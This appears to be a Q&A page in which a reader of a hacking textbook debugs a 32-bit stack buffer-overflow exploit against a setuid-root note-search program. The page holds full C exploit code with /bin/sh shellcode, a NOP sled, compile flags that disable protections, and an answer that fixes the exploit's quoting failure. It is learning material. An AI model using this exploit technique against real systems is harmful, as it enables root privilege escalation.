Search code examples
c32-bitbuffer-overflowshellcode

sh: 1: Syntax error: Unterminated quoted string -- Shellcode


I am currently reading Jon Erickson's book "Hacking: The Art of Exploitation, 2nd Edition" and I am stuck on a problem concerning an exploitation of a buffer overflow.

Firstly, we have a code of notetaker.c (https://github.com/intere/hacking/blob/master/booksrc/notetaker.c) which writes in the file /var/notes

Secondly, we have a code of noteseach.c (https://github.com/intere/hacking/blob/master/booksrc/notesearch.c) which reads in the file /var/notes.

To compile and use it:

gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack notesearch.c -o notesearch
sudo chown root:root notesearch
sudo chmod u+s notesearch

Then, we have exploit_notesearch.c for the exploit.

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char shellcode[] = "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x70"
                   "\x89\xe1\x52\x6a\x68\x68\x2f\x62\x61"
                   "\x73\x68\x2f\x62\x69\x6e\x89\xe3\x52"
                   "\x51\x53\x89\xe1\xcd\x80";

int main(int argc, char *argv[]) {
   unsigned int i, *ptr, ret, offset=270;

   char *command, *buffer;

   command = (char *) malloc(200);
   bzero(command, 200); // zero out the new memory

   strcpy(command, "./notesearch \'"); // start command buffer
   buffer = command + strlen(command); // set buffer at the end

   if(argc > 1) // set offset
      offset = atoi(argv[1]);

   ret = (unsigned int)&i - offset; // set return address
   printf("%0x\n\n", ret);

   for(i=0; i <105 ; i+=4) // fill buffer with return address
      *((unsigned int *)(buffer+i)) = ret;
   memset(buffer, 0x90, 20); // build NOP sled
   memcpy(buffer+20, shellcode, sizeof(shellcode)-1);

   strcat(command, "\'");
   system(command); // run exploit

Then, we have the code for exploit: exploit_notesearch.c: To compile and use it:

gcc -m32 -g -mpreferred-stack-boundary=2 -no-pie -fno-stack-protector -Wl,-z,norelro -z execstack exploit_notesearch.c

After some tests, 149 is the only value for witch I didn't get a SEGFAULT or Illegal Instruction error. Then I did: ./a.out 149 and I got this result: sh: 1: Syntax error: Unterminated quoted string So, I checked the value of the array command and find that effectively, one byte in ret variable had an apostrophe as representation. How can I fix it ? I currently work on a Linux ubuntu 4.15.0-96-generic i686.

If needed, here is the code of hacking.h (https://github.com/intere/hacking/blob/master/booksrc/hacking.h) if you want to compile the files.


Solution

  • system() is not well-suited for the task, since, as you see, the invoked shell interpretes certain characters in the command string. Better use

        execl("notesearch", "notesearch", buffer, NULL);
    

    - therewith notesearch is executed with the argument in buffer without shell intervention.